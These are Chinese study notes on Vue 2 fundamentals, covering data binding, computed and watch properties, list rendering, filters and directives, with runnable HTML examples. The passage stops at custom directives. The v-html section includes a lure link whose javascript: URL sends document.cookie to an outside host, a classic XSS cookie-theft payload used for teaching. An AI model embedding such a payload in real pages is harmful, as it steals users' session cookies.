Vue学习笔记第一章数据绑定、MVVM模型、数据代理、监视属性、绑定样式、条件渲染、列表渲染、过滤器、自定义指令

Vue实现

数据->虚拟DOM->页面真实DOM

原始虚拟DOM与新的虚拟DOM通过Diff比较

1.1学Vue前准备:

ES6语法规范

ES6模块化

包管理器

原型、原型链

数组常用方法

axios

promise

1.2初识Vue

1、想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象

2、root容器里的代码依然符号html规范,只不过混入了一些特殊的Vue语法

3、root容器里的代码被称为【Vue模板】

4、Vue实例和容器是一一对应的

5、真实开发只有一个Vue实例,并且会配合着组件一起使用

6、{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中所有属性

7、一旦data数据发生改变,那么页面中用到

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>初识Vue</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div class="root">
        <h1>Hello,world!Hello,{{name.toUpperCase()}},{{address}},{{Date.now()}} </h1>
    </div>

    <script type="text/javascript">
        Vue.config.productionTip = false //阻止vue在启动时生成提示

        //创建Vue实例
        const x = new Vue({
            el:'.root', //el用于绑定当前Vue实例为哪个容器服务,值通常为css选择器字符串。
            data:{
                //data用于存储数据,数据供el所指定的容器使用,值我们暂时先写成一个对象
                name:'天海',
                address:'北京'
            }
        })
    </script> 
</body>
</html>

1.3数据绑定

1、单向绑定(v-bind):数据只能从data流向页面

2、双向绑定(v-model):数据不仅能从data流向页面,也能从页面流向data

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        单向数据绑定:<input type="text" v-bind:value="name">
        <br>
        双向数据绑定:<input type="text" v-model:value="name">
        <!--如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)-->
        <h2 v-model:x="name">你好啊</h2>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el:'#root',
            data:{
                name:'海'
            }
        })
</script>
</html>

1.4el与data的两种写法

el:

(1)new Vue时配置el属性

(2)先创建Vue实例,随后再通过vm.$mount(’#root’)指定el的值

data:

(1)对象式

(2)函数式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h1>你好,{{name}}</h1>
    </div>
</body>
<script type="text/javascript">
        Vue.config.productionTip = false

/*
        //el 的两种写法
        const v = new Vue({
            //el:'#root',
            data:{
                name:'海'
            }
        })
        console.log(v)
        v.$mount('#root')
*/
        //data的两种写法
        new Vue({
            el:'#root',
            //data的第一种写法 :对象式
            /*data:{
                name:'上上海'
            }*/
            //data的第二种写法:函数式
            data(){
                console.log('@@@',this);
                return{
                    name:'上上海'
                }
            }
        })
</script>
</html>

1.5MVVM模型

M:模型:对应data中的数据

V:视图:模板

VM:视图模型:Vue实例对象

注意:data中所有属性最后都出现在了vm身上

vm、Vue原型身上的所有属性在Vue模板都可以直接使用

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h1>学校名称:{{name}}</h1>
        <h1>学校地址:{{address}}</h1>
        <h1>{{1+1}}</h1>
    </div>
</body>
<script type="text/javascript">
        Vue.config.productionTip = false
        const vm = new Vue({
            el:'#root',
            data:{
                name:'辽科',
                address:'辽宁'
            }
        })
        console.log(vm);
</script>
</html>

1.6数据代理

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>object.defineproperty方法</title>
</head>
<body>
    <script>
        let number = 18;
        let person = {
            name:'张三',
            sex:'男',
        };
        Object.defineProperty(person,'age',{
            //value:18,
            //enumerable:true,//控制属性是否可以枚举,默认值是false
            //writable:true,//控制属性是否可以被修改,默认值是false
            //configurable:true//控制属性是否可以被删除,默认值是false
            //当有人读取person的age属性时,get函数就会被调用,且返回值就是age的值
            get:function(){
                console.log('有人读取age属性了');
                return '55'
            },

            //当有人修改person的age属性时,set函数就会被调用,且会受到修改的具体值
            set(value){
                console.log('有人修改了age属性,且值是',value);
                number = value
            }
        })
        console.log(person);
        //console.log(Object.keys(person));
    </script>
</body>
</html>

3、Vue中的数据代理

何为数据代理:

通过一个对象代理对另一个对象中属性的操作

通过vm对象来代理data对象中属性的操作

let obj = {x:100}
let obj2 = {y:200}
//想通过obj2能读到x和修改x
Object.defineProperty(obj2,'x',{
    get(){
        return obj.x
    },
    set(value){
        obj.x = value
    }
})

好处:更方便操作data中的数据

基本原理:通过Object.defineProperty()把data对象中所有属性添加到vm上,为每一个添加到vm上的属性都指定一个getter/setter

在getter/setter内部去操作data中对应的属性

1.7事件处理

1、事件的基本使用

v-on:xxx或@xxx 绑定事件,其中xxx是事件名

事件的回调需要配置在methods对象中,最终会在vm

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <!--<button v-on:click="showInfo" >点我提示信息</button>-->
        <button @click="showInfo1">点我提示信息1(不传参)</button>
        <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
    </div>
</body>

<script type="text/javascript">
        Vue.config.production = false
        const vm = new Vue({
            el:"#root",
            data:{
                name:'海尔'
            },
            methods:{
            showInfo1(event){
                alert('hello')
            },
            showInfo2(event,number){
                console.log(number);
            }
        },
        }
        )
</script>
</html>

2、Vue中的事件修饰符

prevent:阻止默认事件(常用)

stop:阻止事件冒泡(常用)

once:事件只触发一次(常用)

capture:使用事件的捕获模式

self:只有event.target是当前操作的元素时才触发事件

passive:事件的默认行为立即执行,无需等待事件回调执行完毕

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        *{
            margin-top: 20px;
        }
    .demo1{
        height: 50px;
        background-color : skyblue;
    }
    .demo2{
        padding: 5px;
        background-color: skyblue;
    }
    .demo3{
        padding: 5px;
        background-color: orange;
    }
    .list{
        width: 200px;
        height: 200px;
        background-color: orangered;
        overflow: auto;
    }
    li{
        height: 100px;
    }
    </style>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <!--prevent为事件修饰符-->

        <!--阻止默认事件-->
        <a href="http://www.baidu.com" @click.prevent="showInfo" >点我提示信息</a>

        <!--阻止事件冒泡-->
        <div class="demo1" @click="showInfo">
            <button @click.stop ="showInfo">点我提示信息</button>
        </div>
        <!--事件只触发一次-->
        <button @click.once="showInfo">点我提示信息</button>

        <!--使用事件的捕获模式-->
        <div class="demo2" @click="showMsg(1)">
            div1
            <div class="demo3" @click="showMsg(2)">
                div2
            </div>
        </div>
        <!--只有event.target是当前操作的元素时才触发事件-->
        <div class="demo1" @click.self="showInfo">
            <button @click ="showInfo">点我提示信息</button>
        </div>
        <!--事件的默认行为立即执行,无需等待事件回调执行完毕-->
        <!--滚动条滚动
            <ul @scroll="demo" class="list">不需要加passive也能有passive的功能
        -->
        <ul @wheel.passive="demo" class="list">
            <li>1</li>
            <li>2</li>
            <li>3</li>
            <li>4</li>
        </ul>
    </div>
</body>

<script type="text/javascript">
        Vue.config.production = false;
        new Vue({
            el:'#root',
            data:{
                name:'乌托邦'
            },
            methods:{
                showInfo(e){
                    //正常阻止默认行为
                    //e.preventDefault()
                    //正常阻止事件冒泡
                    //e.stopPropagation()
                    alert("同学你好")
                    //console.log(e.target);
                },
                showMsg(msg){
                    console.log(msg);
                },
                demo(){
                for (let i = 0; i < 10000; i++) {
                    console.log('#');
                }
                }
            }
        })
</script>
</html>

3、键盘事件

(1)Vue中常用的按键别名

回车:enter——编码:13

删除:delete

退出:esc

空格:space

换行:tab

上下左右:up\down\left\right

(2)系统修饰键:ctrl、alt、shift、meta

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>欢迎来到{{name}}学习</h2>
        <!--keydown和keyup 
        @keyup.caps-lock="showInfo"
        @keydown.tab="showInfo"
    -->
        <input type="text" placeholder="按下回车提示输入" @keydown.ctrl="showInfo">

    </div>
</body>
<script type="text/javascript">
        Vue.config.production = false
        Vue.config.keyCodes.huiche = 13//定义了一个别名按键
        new Vue({
            el:'#root',
            data:{
                name:'辽宁科技学院'
            },
            methods:{
                showInfo(e){
                    //console.log(e.target.value);
                    console.log(e.key,e.keyCode);
                }
            }
        })
</script>
</html>

1.8计算属性

一旦data内的数据改变那么vue就会重新解析模板

插值语法实现

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        姓:<input type="text" v-model="firstName"><br>
        名:<input type="text" v-model="lastName"><br>
        全名:<span>{{firstName.slice(0,3)}}{{lastName}}</span>
    </div>
</body>

<script type="text/javascript">
        Vue.config.production = false
        new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三'
            }
        })
</script>
</html>

methods实现

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        姓:<input type="text" v-model="firstName"><br/><br/>
        名:<input type="text" v-model="lastName"><br/><br/>
        全名:<span>{{fullName()}}</span>
    </div>


<script type="text/javascript">
        Vue.config.production = false
        new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三'
            },
            methods:{
                fullName(){
                    console.log('@---fullName');
                    return this.firstName + '-' + this.lastName
                }
            }
        })
</script>
</body>
</html>

计算属性实现

1、定义:要用的属性不存在,要通过已有属性计算得来

2、原理:底层借助Object.defineproperty方法提供的getter和setter

优势:与methods实现相比。内部有缓存机制,效率高

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        姓:<input type="text" v-model="firstName"><br/><br/>
        名:<input type="text" v-model="lastName"><br/><br/>
        全名:<span>{{fullName}}</span>
    </div>
<script type="text/javascript">
        Vue.config.production = false
        const vm = new Vue({
            el:'#root',
            data:{
                firstName:'张',
                lastName:'三'
            },
            computed:{
                //完整写法

                /*
                fullName:{
                    //当有人读取fullName时,get就会被调用,且返回值作为fullName的值
                    //get什么时候调用?1、初次读取fullName时。2、所依赖的数据发生变化时。
                    //完整写法
                    get(){
                        console.log('get被调用了');
                        //console.log(this);此处的this为vm
                        return this.firstName + '-' + this.lastName
                    },
                    set(value){
                        console.log('set',value);
                        const arr = value.split('-')
                        this.firstName = arr[0]
                        this.lastName = arr[1]
                    }
                    */
                   //简写:只考虑读,不考虑修改
                   fullName(){
                       console.log('get被调用了');
                       return this.firstName + '-' + this.lastName
                   }
            }
        })
</script>
</body>
</html>

1.9监视属性

天气案例

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>天气案例</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <!--<button @click='isHot = !isHot;x++'>切换天气</button>-->
        <button @click='changeWeather'>切换天气</button>
    </div>
</body>
<script type="text/javascript">
        Vue.config.production = false
        new Vue({
            el:'#root',
            data:{
                isHot:false,
            },
            computed:{
                info(){
                    return this.isHot ? '炎热' : '凉爽'
                }
            },
            methods: {
               
                changeWeather(){
                    this.isHot= !this.isHot;   
                }   
            },
        })
</script>
</html>

监视属性watch:

1、当监视的属性变化时,回调函数(handler)自动调用,进行相关操作

2、监视的属性必须存在,才能进行监视!

3、监视的两种写法:

​ (1)new Vue时传入watch配置

​ (2)通过vm.$watch配置

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>2.天气案例_监视属性</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>今天天气很{{info}}</h2>
        <!--<button @click='isHot = !isHot;x++'>切换天气</button>-->
        <button @click='changeWeather'>切换天气</button>
    </div>
</body>
<script type="text/javascript">
        Vue.config.production = false
        const vm = new Vue({
            el:'#root',
            data:{
                isHot:true,
            },
            computed:{
                info(){
                    return this.isHot ? '炎热' : '凉爽'
                }
            },
            methods: {
                changeWeather(){
                    this.isHot= !this.isHot;   
                }   
            },
            //配置监视
            /*watch:{
                isHot:{
                    immediate:true,//初始化时让handler调用一下
                //handler什么时候调用,当isHot发生改变时
                    handler(newValue,oldValue){
                    console.log('isHot被修改了',newValue,oldValue);
                    }
                }
            }*/  
        })
        vm.$watch('isHot',{
            immediate:true,//初始化时让handler调用一下
            //handler什么时候调用,当isHot发生改变时
            handler(newValue,oldValue){
                console.log('isHot被修改了',newValue,oldValue);
            }
        })
</script>
</html>

深度监视:

Vue中的watch默认不监测对象内部值的改变(一层)

配置deep:true可以监测对象内部值改变(多层)

备注:

Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!

使用watch时根据数据的具体结构决定是否采用深度监视

computed和watch之间的区别

computed能完成的功能,watch都可以完成

watch能完成的,computed不一定能完成,例如:watch可以进行异步操作

1.10绑定样式

 <!--绑定class样式:字符串写法,适用于:样式的类名不确定,需要动态指定-->
        <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
        <!--绑定class样式:数组写法,适用于:要绑定的样式个数不确定、名字不确定-->
        <div class="basic" :class="classArr">{{name}}</div><br>
        <!--绑定class样式:对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用-->
        <div class="basic" :class="classObj">{{name}}</div>
		<!--改样式-->
		<div class="basic" :style="styleObj">{{name}}</div>

<script type="text/javascript">
 const vm = new Vue({
            el:'#root',
            data:{
                name:'辽宁科技学院',
                mood:'normal',
            
            classArr:['a1','a2','a3'],
            classObj:{
                a1:false,
                a2:false
            },
            styleObj:{
                fontSize:'40px'
            }
        },
            methods: {
                changeMood(){
                    this.mood = 'happy'
                }
            },
        })styleObj:{
                fontSize:'40px'
            }
    </script>

1.11条件渲染

v-show='false'——display:None 隐藏

v-if='false' ——结构也消失(无代码)

<div id="root">
        <h2>当前的n值为:{{n}}</h2>
        <button @click='n++'>点我n+1</button>
        <div v-if="n === 1">A</div>
        <div v-else-if="n === 2">B</div>
        <div v-else-if="n === 3">C</div>
        <div v-else>哈哈</div>
    </div>
</body>

<script type="text/javascript">
        Vue.config.production = false
        new Vue({
            el:'#root',
            data:{
                name:'辽宁科技学院',
                n:0
            }
        })
</script>

1.12列表渲染

v-for 指令用于展示列表数据

语法:v-for="(item, index) in xxx" :key="yyy"

可遍历:数组、对象、字符串、指定次数

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>基本列表</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <!--遍历数组-->
       <ul>
           <li v-for="(p,index) of people" :key="index">
               {{p.name}}-{{p.age}}-{{index}}
           </li>
       </ul>
       <!--遍历对象-->
       <ul>
        <li v-for="(value,k) of car" :key="k">
            {{k}}-{{value}}
        </li>
    </ul>
    </div>
</body>

<script type="text/javascript">
        Vue.config.production = false
        new Vue({
            el:'#root',
            data:{
                people:[
                    {id:'001',name:'张三',age:18},
                    {id:'002',name:'张四',age:19},
                    {id:'003',name:'张五',age:18}
                ],
            car:{
                name:'奥迪A8',
                price:'100000',
                color:'黑色'
            }
            }
        })
</script>
</html>

key的原理

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>基本列表</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <!--遍历数组-->
        <h2>人员列表(遍历数组)</h2>
        <button @click.once="add">添加一个老刘</button>
       <ul>
           <li v-for="(p,index) of people" :key="p.id">
               {{p.name}}-{{p.age}}
               <input type="text">
           </li>
       </ul>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el:'#root',
            data:{
                people:[
                    {id:'001',name:'张三',age:18},
                    {id:'002',name:'张四',age:19},
                    {id:'003',name:'张五',age:18}
                ]
            },
            methods: {
                add(){
                    const p ={id:'004',name:'老刘',age:40}
                    this.people.unshift(p)
                }
            },
        })
</script>
</html>

面试题:React、vue中的key有什么作用?(key的内部管理)

1、虚拟DOM中key的作用:

​ key是虚拟DOM对象的标识,当数据发生改变时,Vue会根据新数据生成新的虚拟DOM,随后进行新虚拟DOM与旧虚拟DOM的对比,2、对比规则如下:

当虚拟DOM和新的虚拟DOM一致时,则直接使用之前的真实DOM

当虚拟DOM和新的虚拟DOM不一致时,则生成新的真实DOM,替换掉原来的真实DOM

3、index的不足:

当执行需要逆序插入、删除等或破坏结构顺序的操作时:会产生没有必要的真实DOM更新 ==> 界面效果没问题,但效率低

如果包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题

4、开发中如何选择key

选择唯一标识

如果不存在index不足的满足条件,使用index作为key没问题

Vue.set(vm._data.student,'sex','男')

列表过滤:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>列表过滤</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>人员列表</h2>
        <input type="text" placeholder="请输入名字" v-model="keyWord">
       <ul>
           <li v-for="(p,index) of filPeople" :key="index">
               {{p.name}}-{{p.age}}-{{p.sex}}
           </li>
       </ul>
  
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false

    /*用watch实现
        new Vue({
            el:'#root',
            data:{
                keyWord:'',
                people:[
                    {id:'001',name:'马冬梅',age:19,sex:'女'},
                    {id:'002',name:'周冬雨',age:20,sex:'女'},
                    {id:'003',name:'周杰伦',age:21,sex:'男'},
                    {id:'004',name:'温兆伦',age:22,sex:'女'}
                ],
                filPeople:[]
            },
            watch:{
                keyWord:{
                    immediate:true,
                    handler(val){
                        this.filPeople = this.people.filter((p)=>{
                            return p.name.indexOf(val) !== -1
                        })
                }
            }
            }
        })
        */

    //用computed实现
    new Vue({
            el:'#root',
            data:{
                keyWord:'',
                people:[
                    {id:'001',name:'马冬梅',age:19,sex:'女'},
                    {id:'002',name:'周冬雨',age:20,sex:'女'},
                    {id:'003',name:'周杰伦',age:21,sex:'男'},
                    {id:'004',name:'温兆伦',age:22,sex:'女'}
                ],
            },
            computed:{
                filPeople(){
                    return this.people.filter((p)=>{
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                    
                }
            }
        })
</script>
</html>

列表排序

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>列表排序</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>人员列表</h2>
        <input type="text" placeholder="请输入名字" v-model="keyWord">
        <button @click="sortType = 2">年龄升序</button>
        <button @click="sortType = 1">年龄降序</button>
        <button @click="sortType = 0">原顺序</button>
       <ul>
           <li v-for="(p,index) of filPeople" :key="p.id">
               {{p.name}}-{{p.age}}-{{p.sex}}
           </li>
       </ul>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
    new Vue({
            el:'#root',
            data:{
                keyWord:'',
                sortType:0, //0原顺序 1降序 2升序
                people:[
                    {id:'001',name:'马冬梅',age:30,sex:'女'},
                    {id:'002',name:'周冬雨',age:31,sex:'女'},
                    {id:'003',name:'周杰伦',age:21,sex:'男'},
                    {id:'004',name:'温兆伦',age:22,sex:'女'}
                ],
            },
            computed:{
                filPeople(){
                    const arr =  this.people.filter((p)=>{
                        return p.name.indexOf(this.keyWord) !== -1
                    })
                    if(this.sortType){
                        arr.sort((p1,p2)=>{
                            return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
                        })
                    }
                    return arr
                }
            }
        })
</script>
</html>

模拟数据监测:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>7.模拟一个数据监测</title>
    <script type="text/javascript">
        let data = {
            name:'我',
            address:'锦州'
        }
        //创建一个监视的实例对象,用于监视data中属性的变化
        const obs = new Observer(data)
        console.log(obs)
        //准备一个vm实例对象
        let vm = {}
        vm._data = data = obs
        function Observer(obj){
            //汇总对象中所有的属性形成一个数组
            const keys = Object.keys(obj)
            //遍历
            keys.forEach((k)=>{
                Object.defineProperty(this,k,{
                    get(){
                        return obj[k]
                    },
                    set(val){
                        console.log(`${k}被改了,我要去解析模板,生成虚拟DOM...`);
                        obj[k] = val
                    }
                })
            })
        }
    </script>
</head>
<body>
    
</body>
</html>

在Vue修改数组中的某个元素一定要用如下方法:

1、使用API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

2、Vue.set()或vm.$set()

总练习

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>10.总结练习数据监测</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h1>学生信息</h1>
        <button @click="student.age++">年龄+1岁</button><br/>
        <button @click="addSex">添加性别属性,默认值:男</button><br/>
        <button @click="student.sex = '未知' ">修改性别</button><br/>
        <button @click="addFriend">在列表首位添加一个朋友</button><br/>
        <button @click="updatFirstFriendName">修改第一个朋友的名字为:张三</button><br/>
        <button @click="addHobby">添加一个爱好</button><br/>
        <button @click="updatFirstHobby">修改第一个爱好为:开车</button><br/>
        <button @click="removeSmoke">过滤掉爱好中的抽烟</button><br/>
        <h3>姓名:{{student.name}}</h3>
        <h3>年龄:{{student.age}}</h3>
        <h3 v-if="student.sex">性别:{{student.sex}}</h3>
        <h3>爱好:</h3>
        <ul>
            <li v-for="(h,index) in student.hobby" :key="index">
                {{h}}
            </li>
        </ul>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">
                {{f.name}}--{{f.age}}
            </li>
        </ul>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        const vm = new Vue({
            el:'#root',
            data:{
                student:{
                    name:'tom',
                    age:18,
                    hobby:['抽烟','喝酒','烫头'],
                    friends:[
                        {name:'jerry',age:35},
                        {name:'tony',age:36}
                    ]
                }
            },
            methods: {
                addSex(){
                    Vue.set(this.student,'sex','男')
                    // this.$set(this.student,'sex','男')
                },
                addFriend(){
                    this.student.friends.unshift({name:'jack',age:70})
                },
                updatFirstFriendName() {
                    this.student.friends[0].name = '张三'
                    this.student.friends[0].age = '17'
                },
                addHobby(){
                    this.student.hobby.push('打代码')
                },
                updatFirstHobby(){
                    this.student.hobby.splice(0,1,'开车')
                    // Vue.set(this.student.hobby,0,'开车')
                    // this.$set(this.student.hobby,0,'开车')
                },
                removeSmoke(who){
                    var who = this.student.hobby[0];
                    if(who == '抽烟'){
                        this.student.hobby = this.student.hobby.filter((h)=>{
                        return h !== '抽烟'
                    }) 
                }
            }
        },
    })
</script>
</html>

1.13收集表单数据

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>收集表单数据</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <form @submit.prevent="submit" >
            <label class="" for="demo">账号:</label>
            <input type="text" id="demo1" v-model.trim="userInfo.account"></br></br>
            <label class="" for="demo">密码:</label>
            <input type="password" id="demo2" v-model="userInfo.password"></br></br>
            年龄:<input type="number" v-model.number="userInfo.age"></br></br>
            性别:
            男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
            女<input type="radio" name="sex" v-model="userInfo.sex" value="female"></br></br>
            爱好:
            学习<input type="checkbox" v-model="userInfo.hobby" value="study">
            打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
            吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
            </br></br>
            所属校区
            <select v-model="userInfo.city">
                <option value="">请选择校区</option>
                <option value="beijing">北京</option>
                <option value="shanghai">上海</option>
                <option value="jinzhou">锦州</option>
            </select></br></br>
            其他信息:</br></br>
            <textarea v-model.lazy="userInfo.other" cols="30" rows="10"></textarea></br></br>
            <input type="checkbox" v-model="userInfo.agree" >
            阅读并接受<a href="http://www.baidu.com" target="_blank">《用户协议》</a>
            <button>提交</button>

        </form>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el:'#root',
            data:{
                userInfo:{  
                    account:'',
                    password:'',
                    age:'',
                    sex:'female',
                    hobby:[],
                    city:[],
                    other:'',
                    agree:''}
            },
            methods: {
                submit(){
                    alert('提交成功')
                    console.log(JSON.stringify(this.userInfo));
                }
            },
        })
</script>
</html>

1.14过滤器

定义:对要显示的数据进行特定格式化后再显示

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>14.过滤器</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
    <script type="text/javascript" src="../js/day.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>显示格式化后的时间</h2>
        computed实现
        <h3>现在是{{fmTime}}</h3>
        methods实现
        <h3>现在是{{getFmtTime()}}</h3>
        过滤器实现
        <h3>现在是{{time | timeFormater}}</h3>
        过滤器传参
        <h3>现在是{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
        v-bind用法
        <h3 :x="msg | mySlice" >啊啊啊啊啊啊路飞</h3>
    </div>
    <div id="root2">
        全局过滤器
        <h2>{{msg |mySlice}}</h2>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        //全局过滤器
        Vue.filter('mySlice',function(value){
            return value.slice(0,4)
        })
        new Vue({
            el:'#root',
            data:{
                time:1637337946506,
                msg:'你好路飞'
            },
            computed:{
                fmTime(){
                    // return dayjs(this.time).format('YYYY年MM月DD日HH:mm:ss')
                    return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            methods: {
                getFmtTime(){
                    return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            //局部过滤器
            filters:{
                timeFormater(){
                    return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
                },
                mySlice(value){
                    return value.slice(0,3)
                }
            }
        })

        new Vue({
            el:'#root2',
            data:{
                msg:'helloaaaaa'
            },
            computed:{
                fmTime(){
                    // return dayjs(this.time).format('YYYY年MM月DD日HH:mm:ss')
                    return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            methods: {
                getFmtTime(){
                    return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
                }
            },
            filters:{
                timeFormater(){
                    return dayjs().format('YYYY年MM月DD日 HH:mm:ss')
                }
            }
        })
</script>
</html>

1.15内置命令

v-text :向其所在的节点中渲染文本内容(用的少)

<!--准备好一个容器-->
    <div id="root">
        <h2>{{name}}</h2>
        <h2 v-text="name"></h2>
    </div>
<script type="text/javascript">
        new Vue({
            el:'#root',
            data:{
                name:'人工智能'
            }
        })
</script>

v-html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <div id="root">
        <h2>{{name}}</h2>
        <h2 v-html="str"></h2>
        <h2 v-html="str2"></h2>
    </div>
</body>

<script type="text/javascript">
        Vue.config.productionTip = false
        new Vue({
            el:'#root',
            data:{
                name:'人工智能',
                str:'<h3>你好啊</h3>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie target="blank">我花5万元买的python教程,现在免费来领取'
            }
        })
</script>
</html>

v-cloak:

本质是一个特殊属性,vue实例创建完毕并接管容器后,会删掉v-cloak属性

使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

v-once:

所在节点在初次渲染后,视为静态

v-pre:

跳过所在节点的编译过程

可以利用它跳过没有指令语法、插值语法的节点,加快编译

1.16自定义指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title></title>
    <!--引入Vue-->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!--准备好一个容器-->
    <!--需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
        需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的Input元素默认获取焦点-->
    <div id="root">
        <h2>当前的n值是:<span v-text='n'></span> </h2>
        <h2>放大十倍后的n值是:<span v-big='n'></span> </h2>
